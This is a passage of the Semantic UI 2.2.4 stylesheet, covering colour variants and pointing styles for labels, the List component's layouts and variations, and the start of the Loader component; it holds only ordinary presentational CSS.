.ui.basic.purple.labels a.label:hover,
a.ui.basic.purple.label:hover {
  background-color: #FFFFFF !important;
  color: #9627ba !important;
  border-color: #9627ba !important;
}

/*--- Pink ---*/

.ui.pink.labels .label,
.ui.pink.label {
  background-color: #E03997 !important;
  border-color: #E03997 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.pink.labels .label:hover,
a.ui.pink.label:hover {
  background-color: #e61a8d !important;
  border-color: #e61a8d !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.pink.corner.label,
.ui.pink.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.pink.ribbon.label {
  border-color: #c71f7e !important;
}

/* Basic */

.ui.basic.pink.label {
  background-color: #FFFFFF !important;
  color: #E03997 !important;
  border-color: #E03997 !important;
}

.ui.basic.pink.labels a.label:hover,
a.ui.basic.pink.label:hover {
  background-color: #FFFFFF !important;
  color: #e61a8d !important;
  border-color: #e61a8d !important;
}

/*--- Brown ---*/

.ui.brown.labels .label,
.ui.brown.label {
  background-color: #A5673F !important;
  border-color: #A5673F !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.brown.labels .label:hover,
a.ui.brown.label:hover {
  background-color: #975b33 !important;
  border-color: #975b33 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.brown.corner.label,
.ui.brown.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.brown.ribbon.label {
  border-color: #805031 !important;
}

/* Basic */

.ui.basic.brown.label {
  background-color: #FFFFFF !important;
  color: #A5673F !important;
  border-color: #A5673F !important;
}

.ui.basic.brown.labels a.label:hover,
a.ui.basic.brown.label:hover {
  background-color: #FFFFFF !important;
  color: #975b33 !important;
  border-color: #975b33 !important;
}

/*--- Grey ---*/

.ui.grey.labels .label,
.ui.grey.label {
  background-color: #767676 !important;
  border-color: #767676 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.grey.labels .label:hover,
a.ui.grey.label:hover {
  background-color: #838383 !important;
  border-color: #838383 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.grey.corner.label,
.ui.grey.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.grey.ribbon.label {
  border-color: #805031 !important;
}

/* Basic */

.ui.basic.grey.label {
  background-color: #FFFFFF !important;
  color: #767676 !important;
  border-color: #767676 !important;
}

.ui.basic.grey.labels a.label:hover,
a.ui.basic.grey.label:hover {
  background-color: #FFFFFF !important;
  color: #838383 !important;
  border-color: #838383 !important;
}

/*--- Black ---*/

.ui.black.labels .label,
.ui.black.label {
  background-color: #1B1C1D !important;
  border-color: #1B1C1D !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.black.labels .label:hover,
a.ui.black.label:hover {
  background-color: #27292a !important;
  border-color: #27292a !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.black.corner.label,
.ui.black.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.black.ribbon.label {
  border-color: #805031 !important;
}

/* Basic */

.ui.basic.black.label {
  background-color: #FFFFFF !important;
  color: #1B1C1D !important;
  border-color: #1B1C1D !important;
}

.ui.basic.black.labels a.label:hover,
a.ui.basic.black.label:hover {
  background-color: #FFFFFF !important;
  color: #27292a !important;
  border-color: #27292a !important;
}

/*-------------------
        Basic
--------------------*/

.ui.basic.label {
  background: none #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  color: rgba(0, 0, 0, 0.87);
  box-shadow: none;
}

/* Link */

a.ui.basic.label:hover {
  text-decoration: none;
  background: none #FFFFFF;
  color: #1e70bf;
  box-shadow: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: none;
}

/* Pointing */

.ui.basic.pointing.label:before {
  border-color: inherit;
}

/*-------------------
       Fluid
--------------------*/

.ui.label.fluid,
.ui.fluid.labels > .label {
  width: 100%;
  box-sizing: border-box;
}

/*-------------------
       Inverted
--------------------*/

.ui.inverted.labels .label,
.ui.inverted.label {
  color: rgba(255, 255, 255, 0.9) !important;
}

/*-------------------
     Horizontal
--------------------*/

.ui.horizontal.labels .label,
.ui.horizontal.label {
  margin: 0em 0.5em 0em 0em;
  padding: 0.4em 0.833em;
  min-width: 3em;
  text-align: center;
}

/*-------------------
       Circular
--------------------*/

.ui.circular.labels .label,
.ui.circular.label {
  min-width: 2em;
  min-height: 2em;
  padding: 0.5em !important;
  line-height: 1em;
  text-align: center;
  border-radius: 500rem;
}

.ui.empty.circular.labels .label,
.ui.empty.circular.label {
  min-width: 0em;
  min-height: 0em;
  overflow: hidden;
  width: 0.5em;
  height: 0.5em;
  vertical-align: baseline;
}

/*-------------------
       Pointing
--------------------*/

.ui.pointing.label {
  position: relative;
}

.ui.attached.pointing.label {
  position: absolute;
}

.ui.pointing.label:before {
  background-color: inherit;
  background-image: inherit;
  border-width: none;
  border-style: solid;
  border-color: inherit;
}

/* Arrow */

.ui.pointing.label:before {
  position: absolute;
  content: '';
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
  background-image: none;
  z-index: 2;
  width: 0.6666em;
  height: 0.6666em;
  -webkit-transition: background 0.1s ease;
  transition: background 0.1s ease;
}

/*--- Above ---*/

.ui.pointing.label,
.ui[class*="pointing above"].label {
  margin-top: 1em;
}

.ui.pointing.label:before,
.ui[class*="pointing above"].label:before {
  border-width: 1px 0px 0px 1px;
  -webkit-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  -ms-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  transform: translateX(-50%) translateY(-50%) rotate(45deg);
  top: 0%;
  left: 50%;
}

/*--- Below ---*/

.ui[class*="bottom pointing"].label,
.ui[class*="pointing below"].label {
  margin-top: 0em;
  margin-bottom: 1em;
}

.ui[class*="bottom pointing"].label:before,
.ui[class*="pointing below"].label:before {
  border-width: 0px 1px 1px 0px;
  top: auto;
  right: auto;
  -webkit-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  -ms-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  transform: translateX(-50%) translateY(-50%) rotate(45deg);
  top: 100%;
  left: 50%;
}

/*--- Left ---*/

.ui[class*="left pointing"].label {
  margin-top: 0em;
  margin-left: 0.6666em;
}

.ui[class*="left pointing"].label:before {
  border-width: 0px 0px 1px 1px;
  -webkit-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  -ms-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  transform: translateX(-50%) translateY(-50%) rotate(45deg);
  bottom: auto;
  right: auto;
  top: 50%;
  left: 0em;
}

/*--- Right ---*/

.ui[class*="right pointing"].label {
  margin-top: 0em;
  margin-right: 0.6666em;
}

.ui[class*="right pointing"].label:before {
  border-width: 1px 1px 0px 0px;
  -webkit-transform: translateX(50%) translateY(-50%) rotate(45deg);
  -ms-transform: translateX(50%) translateY(-50%) rotate(45deg);
  transform: translateX(50%) translateY(-50%) rotate(45deg);
  top: 50%;
  right: 0%;
  bottom: auto;
  left: auto;
}

/* Basic Pointing */

/*--- Above ---*/

.ui.basic.pointing.label:before,
.ui.basic[class*="pointing above"].label:before {
  margin-top: -1px;
}

/*--- Below ---*/

.ui.basic[class*="bottom pointing"].label:before,
.ui.basic[class*="pointing below"].label:before {
  bottom: auto;
  top: 100%;
  margin-top: 1px;
}

/*--- Left ---*/

.ui.basic[class*="left pointing"].label:before {
  top: 50%;
  left: -1px;
}

/*--- Right ---*/

.ui.basic[class*="right pointing"].label:before {
  top: 50%;
  right: -1px;
}

/*------------------
   Floating Label
-------------------*/

.ui.floating.label {
  position: absolute;
  z-index: 100;
  top: -1em;
  left: 100%;
  margin: 0em 0em 0em -1.5em !important;
}

/*-------------------
        Sizes
--------------------*/

.ui.mini.labels .label,
.ui.mini.label {
  font-size: 0.64285714rem;
}

.ui.tiny.labels .label,
.ui.tiny.label {
  font-size: 0.71428571rem;
}

.ui.small.labels .label,
.ui.small.label {
  font-size: 0.78571429rem;
}

.ui.labels .label,
.ui.label {
  font-size: 0.85714286rem;
}

.ui.large.labels .label,
.ui.large.label {
  font-size: 1rem;
}

.ui.big.labels .label,
.ui.big.label {
  font-size: 1.28571429rem;
}

.ui.huge.labels .label,
.ui.huge.label {
  font-size: 1.42857143rem;
}

.ui.massive.labels .label,
.ui.massive.label {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - List
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            List
*******************************/

ul.ui.list,
ol.ui.list,
.ui.list {
  list-style-type: none;
  margin: 1em 0em;
  padding: 0em 0em;
}

ul.ui.list:first-child,
ol.ui.list:first-child,
.ui.list:first-child {
  margin-top: 0em;
  padding-top: 0em;
}

ul.ui.list:last-child,
ol.ui.list:last-child,
.ui.list:last-child {
  margin-bottom: 0em;
  padding-bottom: 0em;
}

/*******************************
            Content
*******************************/

/* List Item */

ul.ui.list li,
ol.ui.list li,
.ui.list > .item,
.ui.list .list > .item {
  display: list-item;
  table-layout: fixed;
  list-style-type: none;
  list-style-position: outside;
  padding: 0.21428571em 0em;
  line-height: 1.14285714em;
}

ul.ui.list > li:first-child:after,
ol.ui.list > li:first-child:after,
.ui.list > .list > .item,
.ui.list > .item:after {
  content: '';
  display: block;
  height: 0;
  clear: both;
  visibility: hidden;
}

ul.ui.list li:first-child,
ol.ui.list li:first-child,
.ui.list .list > .item:first-child,
.ui.list > .item:first-child {
  padding-top: 0em;
}

ul.ui.list li:last-child,
ol.ui.list li:last-child,
.ui.list .list > .item:last-child,
.ui.list > .item:last-child {
  padding-bottom: 0em;
}

/* Child List */

ul.ui.list ul,
ol.ui.list ol,
.ui.list .list {
  clear: both;
  margin: 0em;
  padding: 0.75em 0em 0.25em 0.5em;
}

/* Child Item */

ul.ui.list ul li,
ol.ui.list ol li,
.ui.list .list > .item {
  padding: 0.14285714em 0em;
  line-height: inherit;
}

/* Icon */

.ui.list .list > .item > i.icon,
.ui.list > .item > i.icon {
  display: table-cell;
  margin: 0em;
  padding-top: 0.07142857em;
  padding-right: 0.28571429em;
  vertical-align: top;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.list .list > .item > i.icon:only-child,
.ui.list > .item > i.icon:only-child {
  display: inline-block;
  vertical-align: top;
}

/* Image */

.ui.list .list > .item > .image,
.ui.list > .item > .image {
  display: table-cell;
  background-color: transparent;
  margin: 0em;
  vertical-align: top;
}

.ui.list .list > .item > .image:not(:only-child):not(img),
.ui.list > .item > .image:not(:only-child):not(img) {
  padding-right: 0.5em;
}

.ui.list .list > .item > .image img,
.ui.list > .item > .image img {
  vertical-align: top;
}

.ui.list .list > .item > img.image,
.ui.list .list > .item > .image:only-child,
.ui.list > .item > img.image,
.ui.list > .item > .image:only-child {
  display: inline-block;
}

/* Content */

.ui.list .list > .item > .content,
.ui.list > .item > .content {
  line-height: 1.14285714em;
}

.ui.list .list > .item > .image + .content,
.ui.list .list > .item > .icon + .content,
.ui.list > .item > .image + .content,
.ui.list > .item > .icon + .content {
  display: table-cell;
  padding: 0em 0em 0em 0.5em;
  vertical-align: top;
}

.ui.list .list > .item > img.image + .content,
.ui.list > .item > img.image + .content {
  display: inline-block;
}

.ui.list .list > .item > .content > .list,
.ui.list > .item > .content > .list {
  margin-left: 0em;
  padding-left: 0em;
}

/* Header */

.ui.list .list > .item .header,
.ui.list > .item .header {
  display: block;
  margin: 0em;
  
  font-weight: bold;
  color: rgba(0, 0, 0, 0.87);
}

/* Description */

.ui.list .list > .item .description,
.ui.list > .item .description {
  display: block;
  color: rgba(0, 0, 0, 0.7);
}

/* Child Link */

.ui.list > .item a,
.ui.list .list > .item a {
  cursor: pointer;
}

/* Linking Item */

.ui.list .list > a.item,
.ui.list > a.item {
  cursor: pointer;
  color: #4183C4;
}

.ui.list .list > a.item:hover,
.ui.list > a.item:hover {
  color: #1e70bf;
}

/* Linked Item Icons */

.ui.list .list > a.item i.icon,
.ui.list > a.item i.icon {
  color: rgba(0, 0, 0, 0.4);
}

/* Header Link */

.ui.list .list > .item a.header,
.ui.list > .item a.header {
  cursor: pointer;
  color: #4183C4 !important;
}

.ui.list .list > .item a.header:hover,
.ui.list > .item a.header:hover {
  color: #1e70bf !important;
}

/* Floated Content */

.ui[class*="left floated"].list {
  float: left;
}

.ui[class*="right floated"].list {
  float: right;
}

.ui.list .list > .item [class*="left floated"],
.ui.list > .item [class*="left floated"] {
  float: left;
  margin: 0em 1em 0em 0em;
}

.ui.list .list > .item [class*="right floated"],
.ui.list > .item [class*="right floated"] {
  float: right;
  margin: 0em 0em 0em 1em;
}

/*******************************
            Coupling
*******************************/

.ui.menu .ui.list > .item,
.ui.menu .ui.list .list > .item {
  display: list-item;
  table-layout: fixed;
  background-color: transparent;
  list-style-type: none;
  list-style-position: outside;
  padding: 0.21428571em 0em;
  line-height: 1.14285714em;
}

.ui.menu .ui.list .list > .item:before,
.ui.menu .ui.list > .item:before {
  border: none;
  background: none;
}

.ui.menu .ui.list .list > .item:first-child,
.ui.menu .ui.list > .item:first-child {
  padding-top: 0em;
}

.ui.menu .ui.list .list > .item:last-child,
.ui.menu .ui.list > .item:last-child {
  padding-bottom: 0em;
}

/*******************************
            Types
*******************************/

/*-------------------
      Horizontal
--------------------*/

.ui.horizontal.list {
  display: inline-block;
  font-size: 0em;
}

.ui.horizontal.list > .item {
  display: inline-block;
  margin-left: 1em;
  font-size: 1rem;
}

.ui.horizontal.list:not(.celled) > .item:first-child {
  margin-left: 0em !important;
  padding-left: 0em !important;
}

.ui.horizontal.list .list {
  padding-left: 0em;
  padding-bottom: 0em;
}

.ui.horizontal.list > .item > .image,
.ui.horizontal.list .list > .item > .image,
.ui.horizontal.list > .item > .icon,
.ui.horizontal.list .list > .item > .icon,
.ui.horizontal.list > .item > .content,
.ui.horizontal.list .list > .item > .content {
  vertical-align: middle;
}

/* Padding on all elements */

.ui.horizontal.list > .item:first-child,
.ui.horizontal.list > .item:last-child {
  padding-top: 0.21428571em;
  padding-bottom: 0.21428571em;
}

/* Horizontal List */

.ui.horizontal.list > .item > i.icon {
  margin: 0em;
  padding: 0em 0.25em 0em 0em;
}

.ui.horizontal.list > .item > .icon,
.ui.horizontal.list > .item > .icon + .content {
  float: none;
  display: inline-block;
}

/*******************************
             States
*******************************/

/*-------------------
       Disabled
--------------------*/

.ui.list .list > .disabled.item,
.ui.list > .disabled.item {
  pointer-events: none;
  color: rgba(40, 40, 40, 0.3) !important;
}

.ui.inverted.list .list > .disabled.item,
.ui.inverted.list > .disabled.item {
  color: rgba(225, 225, 225, 0.3) !important;
}

/*-------------------
        Hover
--------------------*/

.ui.list .list > a.item:hover .icon,
.ui.list > a.item:hover .icon {
  color: rgba(0, 0, 0, 0.87);
}

/*******************************
           Variations
*******************************/

/*-------------------
       Inverted
--------------------*/

.ui.inverted.list .list > a.item > .icon,
.ui.inverted.list > a.item > .icon {
  color: rgba(255, 255, 255, 0.7);
}

.ui.inverted.list .list > .item .header,
.ui.inverted.list > .item .header {
  color: rgba(255, 255, 255, 0.9);
}

.ui.inverted.list .list > .item .description,
.ui.inverted.list > .item .description {
  color: rgba(255, 255, 255, 0.7);
}

/* Item Link */

.ui.inverted.list .list > a.item,
.ui.inverted.list > a.item {
  cursor: pointer;
  color: rgba(255, 255, 255, 0.9);
}

.ui.inverted.list .list > a.item:hover,
.ui.inverted.list > a.item:hover {
  color: #1e70bf;
}

/* Linking Content */

.ui.inverted.list .item a:not(.ui) {
  color: rgba(255, 255, 255, 0.9) !important;
}

.ui.inverted.list .item a:not(.ui):hover {
  color: #1e70bf !important;
}

/*-------------------
       Aligned
--------------------*/

.ui.list[class*="top aligned"] .image,
.ui.list[class*="top aligned"] .content,
.ui.list [class*="top aligned"] {
  vertical-align: top !important;
}

.ui.list[class*="middle aligned"] .image,
.ui.list[class*="middle aligned"] .content,
.ui.list [class*="middle aligned"] {
  vertical-align: middle !important;
}

.ui.list[class*="bottom aligned"] .image,
.ui.list[class*="bottom aligned"] .content,
.ui.list [class*="bottom aligned"] {
  vertical-align: bottom !important;
}

/*-------------------
       Link
--------------------*/

.ui.link.list .item,
.ui.link.list a.item,
.ui.link.list .item a:not(.ui) {
  color: rgba(0, 0, 0, 0.4);
  -webkit-transition: 0.1s color ease;
  transition: 0.1s color ease;
}

.ui.link.list a.item:hover,
.ui.link.list .item a:not(.ui):hover {
  color: rgba(0, 0, 0, 0.8);
}

.ui.link.list a.item:active,
.ui.link.list .item a:not(.ui):active {
  color: rgba(0, 0, 0, 0.9);
}

.ui.link.list .active.item,
.ui.link.list .active.item a:not(.ui) {
  color: rgba(0, 0, 0, 0.95);
}

/* Inverted */

.ui.inverted.link.list .item,
.ui.inverted.link.list a.item,
.ui.inverted.link.list .item a:not(.ui) {
  color: rgba(255, 255, 255, 0.5);
}

.ui.inverted.link.list a.item:hover,
.ui.inverted.link.list .item a:not(.ui):hover {
  color: #ffffff;
}

.ui.inverted.link.list a.item:active,
.ui.inverted.link.list .item a:not(.ui):active {
  color: #ffffff;
}

.ui.inverted.link.list a.active.item,
.ui.inverted.link.list .active.item a:not(.ui) {
  color: #ffffff;
}

/*-------------------
      Selection
--------------------*/

.ui.selection.list .list > .item,
.ui.selection.list > .item {
  cursor: pointer;
  background: transparent;
  padding: 0.5em 0.5em;
  margin: 0em;
  color: rgba(0, 0, 0, 0.4);
  border-radius: 0.5em;
  -webkit-transition: 0.1s color ease, 0.1s padding-left ease, 0.1s background-color ease;
  transition: 0.1s color ease, 0.1s padding-left ease, 0.1s background-color ease;
}

.ui.selection.list .list > .item:last-child,
.ui.selection.list > .item:last-child {
  margin-bottom: 0em;
}

.ui.selection.list.list > .item:hover,
.ui.selection.list > .item:hover {
  background: rgba(0, 0, 0, 0.03);
  color: rgba(0, 0, 0, 0.8);
}

.ui.selection.list .list > .item:active,
.ui.selection.list > .item:active {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.9);
}

.ui.selection.list .list > .item.active,
.ui.selection.list > .item.active {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
}

/* Inverted */

.ui.inverted.selection.list > .item,
.ui.inverted.selection.list > .item {
  background: transparent;
  color: rgba(255, 255, 255, 0.5);
}

.ui.inverted.selection.list > .item:hover,
.ui.inverted.selection.list > .item:hover {
  background: rgba(255, 255, 255, 0.02);
  color: #ffffff;
}

.ui.inverted.selection.list > .item:active,
.ui.inverted.selection.list > .item:active {
  background: rgba(255, 255, 255, 0.08);
  color: #ffffff;
}

.ui.inverted.selection.list > .item.active,
.ui.inverted.selection.list > .item.active {
  background: rgba(255, 255, 255, 0.08);
  color: #ffffff;
}

/* Celled / Divided Selection List */

.ui.celled.selection.list .list > .item,
.ui.divided.selection.list .list > .item,
.ui.celled.selection.list > .item,
.ui.divided.selection.list > .item {
  border-radius: 0em;
}

/*-------------------
       Animated
--------------------*/

.ui.animated.list > .item {
  -webkit-transition: 0.25s color ease 0.1s, 0.25s padding-left ease 0.1s, 0.25s background-color ease 0.1s;
  transition: 0.25s color ease 0.1s, 0.25s padding-left ease 0.1s, 0.25s background-color ease 0.1s;
}

.ui.animated.list:not(.horizontal) > .item:hover {
  padding-left: 1em;
}

/*-------------------
       Fitted
--------------------*/

.ui.fitted.list:not(.selection) .list > .item,
.ui.fitted.list:not(.selection) > .item {
  padding-left: 0em;
  padding-right: 0em;
}

.ui.fitted.selection.list .list > .item,
.ui.fitted.selection.list > .item {
  margin-left: -0.5em;
  margin-right: -0.5em;
}

/*-------------------
      Bulleted
--------------------*/

ul.ui.list,
.ui.bulleted.list {
  margin-left: 1.25rem;
}

ul.ui.list li,
.ui.bulleted.list .list > .item,
.ui.bulleted.list > .item {
  position: relative;
}

ul.ui.list li:before,
.ui.bulleted.list .list > .item:before,
.ui.bulleted.list > .item:before {
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  pointer-events: none;
  position: absolute;
  top: auto;
  left: auto;
  font-weight: normal;
  margin-left: -1.25rem;
  content: '•';
  opacity: 1;
  color: inherit;
  vertical-align: top;
}

ul.ui.list li:before,
.ui.bulleted.list .list > a.item:before,
.ui.bulleted.list > a.item:before {
  color: rgba(0, 0, 0, 0.87);
}

ul.ui.list ul,
.ui.bulleted.list .list {
  padding-left: 1.25rem;
}

/* Horizontal Bulleted */

ul.ui.horizontal.bulleted.list,
.ui.horizontal.bulleted.list {
  margin-left: 0em;
}

ul.ui.horizontal.bulleted.list li,
.ui.horizontal.bulleted.list > .item {
  margin-left: 1.75rem;
}

ul.ui.horizontal.bulleted.list li:first-child,
.ui.horizontal.bulleted.list > .item:first-child {
  margin-left: 0em;
}

ul.ui.horizontal.bulleted.list li::before,
.ui.horizontal.bulleted.list > .item::before {
  color: rgba(0, 0, 0, 0.87);
}

ul.ui.horizontal.bulleted.list li:first-child::before,
.ui.horizontal.bulleted.list > .item:first-child::before {
  display: none;
}

/*-------------------
       Ordered
--------------------*/

ol.ui.list,
.ui.ordered.list,
.ui.ordered.list .list,
ol.ui.list ol {
  counter-reset: ordered;
  margin-left: 1.25rem;
  list-style-type: none;
}

ol.ui.list li,
.ui.ordered.list .list > .item,
.ui.ordered.list > .item {
  list-style-type: none;
  position: relative;
}

ol.ui.list li:before,
.ui.ordered.list .list > .item:before,
.ui.ordered.list > .item:before {
  position: absolute;
  top: auto;
  left: auto;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  pointer-events: none;
  margin-left: -1.25rem;
  counter-increment: ordered;
  content: counters(ordered, ".") " ";
  text-align: right;
  color: rgba(0, 0, 0, 0.87);
  vertical-align: middle;
  opacity: 0.8;
}

ol.ui.inverted.list li:before,
.ui.ordered.inverted.list .list > .item:before,
.ui.ordered.inverted.list > .item:before {
  color: rgba(255, 255, 255, 0.7);
}

/* Value */

.ui.ordered.list > .list > .item[data-value],
.ui.ordered.list > .item[data-value] {
  content: attr(data-value);
}

ol.ui.list li[value]:before {
  content: attr(value);
}

/* Child Lists */

ol.ui.list ol,
.ui.ordered.list .list {
  margin-left: 1em;
}

ol.ui.list ol li:before,
.ui.ordered.list .list > .item:before {
  margin-left: -2em;
}

/* Horizontal Ordered */

ol.ui.horizontal.list,
.ui.ordered.horizontal.list {
  margin-left: 0em;
}

ol.ui.horizontal.list li:before,
.ui.ordered.horizontal.list .list > .item:before,
.ui.ordered.horizontal.list > .item:before {
  position: static;
  margin: 0em 0.5em 0em 0em;
}

/*-------------------
       Divided
--------------------*/

.ui.divided.list > .item {
  border-top: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.divided.list .list > .item {
  border-top: none;
}

.ui.divided.list .item .list > .item {
  border-top: none;
}

.ui.divided.list .list > .item:first-child,
.ui.divided.list > .item:first-child {
  border-top: none;
}

/* Sub Menu */

.ui.divided.list:not(.horizontal) .list > .item:first-child {
  border-top-width: 1px;
}

/* Divided bulleted */

.ui.divided.bulleted.list:not(.horizontal),
.ui.divided.bulleted.list .list {
  margin-left: 0em;
  padding-left: 0em;
}

.ui.divided.bulleted.list > .item:not(.horizontal) {
  padding-left: 1.25rem;
}

/* Divided Ordered */

.ui.divided.ordered.list {
  margin-left: 0em;
}

.ui.divided.ordered.list .list > .item,
.ui.divided.ordered.list > .item {
  padding-left: 1.25rem;
}

.ui.divided.ordered.list .item .list {
  margin-left: 0em;
  margin-right: 0em;
  padding-bottom: 0.21428571em;
}

.ui.divided.ordered.list .item .list > .item {
  padding-left: 1em;
}

/* Divided Selection */

.ui.divided.selection.list .list > .item,
.ui.divided.selection.list > .item {
  margin: 0em;
  border-radius: 0em;
}

/* Divided horizontal */

.ui.divided.horizontal.list {
  margin-left: 0em;
}

.ui.divided.horizontal.list > .item:not(:first-child) {
  padding-left: 0.5em;
}

.ui.divided.horizontal.list > .item:not(:last-child) {
  padding-right: 0.5em;
}

.ui.divided.horizontal.list > .item {
  border-top: none;
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  margin: 0em;
  line-height: 0.6;
}

.ui.horizontal.divided.list > .item:first-child {
  border-left: none;
}

/* Inverted */

.ui.divided.inverted.list > .item,
.ui.divided.inverted.list > .list,
.ui.divided.inverted.horizontal.list > .item {
  border-color: rgba(255, 255, 255, 0.1);
}

/*-------------------
        Celled
--------------------*/

.ui.celled.list > .item,
.ui.celled.list > .list {
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  padding-left: 0.5em;
  padding-right: 0.5em;
}

.ui.celled.list > .item:last-child {
  border-bottom: 1px solid rgba(34, 36, 38, 0.15);
}

/* Padding on all elements */

.ui.celled.list > .item:first-child,
.ui.celled.list > .item:last-child {
  padding-top: 0.21428571em;
  padding-bottom: 0.21428571em;
}

/* Sub Menu */

.ui.celled.list .item .list > .item {
  border-width: 0px;
}

.ui.celled.list .list > .item:first-child {
  border-top-width: 0px;
}

/* Celled Bulleted */

.ui.celled.bulleted.list {
  margin-left: 0em;
}

.ui.celled.bulleted.list .list > .item,
.ui.celled.bulleted.list > .item {
  padding-left: 1.25rem;
}

.ui.celled.bulleted.list .item .list {
  margin-left: -1.25rem;
  margin-right: -1.25rem;
  padding-bottom: 0.21428571em;
}

/* Celled Ordered */

.ui.celled.ordered.list {
  margin-left: 0em;
}

.ui.celled.ordered.list .list > .item,
.ui.celled.ordered.list > .item {
  padding-left: 1.25rem;
}

.ui.celled.ordered.list .item .list {
  margin-left: 0em;
  margin-right: 0em;
  padding-bottom: 0.21428571em;
}

.ui.celled.ordered.list .list > .item {
  padding-left: 1em;
}

/* Celled Horizontal */

.ui.horizontal.celled.list {
  margin-left: 0em;
}

.ui.horizontal.celled.list .list > .item,
.ui.horizontal.celled.list > .item {
  border-top: none;
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  margin: 0em;
  padding-left: 0.5em;
  padding-right: 0.5em;
  line-height: 0.6;
}

.ui.horizontal.celled.list .list > .item:last-child,
.ui.horizontal.celled.list > .item:last-child {
  border-bottom: none;
  border-right: 1px solid rgba(34, 36, 38, 0.15);
}

/* Inverted */

.ui.celled.inverted.list > .item,
.ui.celled.inverted.list > .list {
  border-color: 1px solid rgba(255, 255, 255, 0.1);
}

.ui.celled.inverted.horizontal.list .list > .item,
.ui.celled.inverted.horizontal.list > .item {
  border-color: 1px solid rgba(255, 255, 255, 0.1);
}

/*-------------------
       Relaxed
--------------------*/

.ui.relaxed.list:not(.horizontal) > .item:not(:first-child) {
  padding-top: 0.42857143em;
}

.ui.relaxed.list:not(.horizontal) > .item:not(:last-child) {
  padding-bottom: 0.42857143em;
}

.ui.horizontal.relaxed.list .list > .item:not(:first-child),
.ui.horizontal.relaxed.list > .item:not(:first-child) {
  padding-left: 1rem;
}

.ui.horizontal.relaxed.list .list > .item:not(:last-child),
.ui.horizontal.relaxed.list > .item:not(:last-child) {
  padding-right: 1rem;
}

/* Very Relaxed */

.ui[class*="very relaxed"].list:not(.horizontal) > .item:not(:first-child) {
  padding-top: 0.85714286em;
}

.ui[class*="very relaxed"].list:not(.horizontal) > .item:not(:last-child) {
  padding-bottom: 0.85714286em;
}

.ui.horizontal[class*="very relaxed"].list .list > .item:not(:first-child),
.ui.horizontal[class*="very relaxed"].list > .item:not(:first-child) {
  padding-left: 1.5rem;
}

.ui.horizontal[class*="very relaxed"].list .list > .item:not(:last-child),
.ui.horizontal[class*="very relaxed"].list > .item:not(:last-child) {
  padding-right: 1.5rem;
}

/*-------------------
      Sizes
--------------------*/

.ui.mini.list {
  font-size: 0.78571429em;
}

.ui.tiny.list {
  font-size: 0.85714286em;
}

.ui.small.list {
  font-size: 0.92857143em;
}

.ui.list {
  font-size: 1em;
}

.ui.large.list {
  font-size: 1.14285714em;
}

.ui.big.list {
  font-size: 1.28571429em;
}

.ui.huge.list {
  font-size: 1.42857143em;
}

.ui.massive.list {
  font-size: 1.71428571em;
}

.ui.mini.horizontal.list .list > .item,
.ui.mini.horizontal.list > .item {
  font-size: 0.78571429rem;
}

.ui.tiny.horizontal.list .list > .item,
.ui.tiny.horizontal.list > .item {
  font-size: 0.85714286rem;
}

.ui.small.horizontal.list .list > .item,
.ui.small.horizontal.list > .item {
  font-size: 0.92857143rem;
}

.ui.horizontal.list .list > .item,
.ui.horizontal.list > .item {
  font-size: 1rem;
}

.ui.large.horizontal.list .list > .item,
.ui.large.horizontal.list > .item {
  font-size: 1.14285714rem;
}

.ui.big.horizontal.list .list > .item,
.ui.big.horizontal.list > .item {
  font-size: 1.28571429rem;
}

.ui.huge.horizontal.list .list > .item,
.ui.huge.horizontal.list > .item {
  font-size: 1.42857143rem;
}

.ui.massive.horizontal.list .list > .item,
.ui.massive.horizontal.list > .item {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Loader
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Loader
*******************************/

/* Standard Size */

.ui.loader {
  display: none;
  position: absolute;
  top: 50%;
  left: 50%;
  margin: 0px;
  text-align: center;
  z-index: 1000;
  -webkit-transform: translateX(-50%) translateY(-50%);
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
}

/* Static Shape */

.ui.loader:before {
  position: absolute;
  content: '';
  top: 0%;
  left: 50%;
  width: 100%;
  height: 100%;
  border-radius: 500rem;
  border: 0.2em solid rgba(0, 0, 0, 0.1);
}

/* Active Shape */

.ui.loader:after {
  position: absolute;
  content: '';
  top: 0%;
  left: 50%;
  width: 100%;
  height: 100%;
